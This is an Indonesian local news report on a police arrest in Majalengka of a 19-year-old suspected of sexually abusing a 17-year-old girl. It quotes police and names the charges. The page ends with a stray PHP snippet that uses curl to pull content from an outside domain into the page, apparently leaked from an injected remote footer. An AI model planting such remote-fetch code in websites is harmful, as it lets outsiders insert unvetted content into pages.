Perbuatan Pencabulan Anak di Bawah Umur, Berakhir di Jeruji Besi

Jumat, 5 Maret 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

POLRES MAJALENGKA, Jejakkasus.info – RP (19) warga Kabupaten Majalengka, harus mendekam di jeruji besi Polres Majalengka Polda Jawa Barat, karena diduga telah mencabuli seorang anak perempuan di bawah umur.

Kapolres Majalengka AKBP Syamsul Huda melalui Kasat Reskrim AKP Siswo DC Tarigan mengatakan, guna melancarkan perbuatan bejatnya, pelaku berjanji akan bertanggungjawab dan menikahi korban.”Modusnya, tersangka berjanji terhadap korban, di mana ia akan bertanggungjawab, bila korban mau bersetubuh dengan tersangka. Atas dasar rangkaian kebohongan tersebut, maka terjadilah perbuatan cabul dan persetubuhan,” ungkap Kasat Reskrim Polres Majalengka, Kamis (4/3/2021).

Baca Juga:  Bhabinkamtibmas Polsek Panyingkiran Himbau Warga Agar Tidak Berkerumun

Kasat Reskrim menjelaskan, kronologi tersebut, bermula pelaku mengajak korban main ke rumahnya, dan kemudian diminta menginap.

Selanjutnya, saat malam tiba, sekira pukul 21.00 WIB, korban sebut saja Bunga (17) diajak melakukan persetubuhan layaknya suami istri, disebuah kamar pelaku.

Baca Juga:  Cegah Rantai Penyebaran Covid-19 , Polsek Cingambul Himbau Warga Tetap Patuhi Prokes

“Saat itu, korban dijanjikan akan mempertanggungjawabkan perbuatanya tersebut, bahkan perbuatan bejadnya tersebut, juga dilakukan sampai dengan dua kali pada malam hari berikutnya,” jelas
AKP Siswo DC Tarigan.

Saat ini, lanjut AKP Siswo DC Tarigan, pelaku berikut sejumlah barang bukti sudah diamankan di Mapolres Majalengka, untuk dilakukan proses lebih lanjut.

Baca Juga:  Polres Majalengka Kawal Ketat Aksi Unras Buruh di Kantor Disnaker 

“Akibat perbuatannya, tersangka akan dijerat pasal 81 dan atau 82 Undang-Undang RI Nomor 17 Tahun 2016 tentang perubahan kedua atas Undang-Undang RI Nomor 23 Tahun 2002 tentang perlindungan anak, dengan ancaman maksimal 15 tahun penjara,” ucap AKP Siswo DC Tarigan. (Liman/H.Tarpin)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya
Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa
Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Berita Terkait

Jumat, 11 Oktober 2024 - 07:45 WIB

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya

Kamis, 10 Oktober 2024 - 16:33 WIB

Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>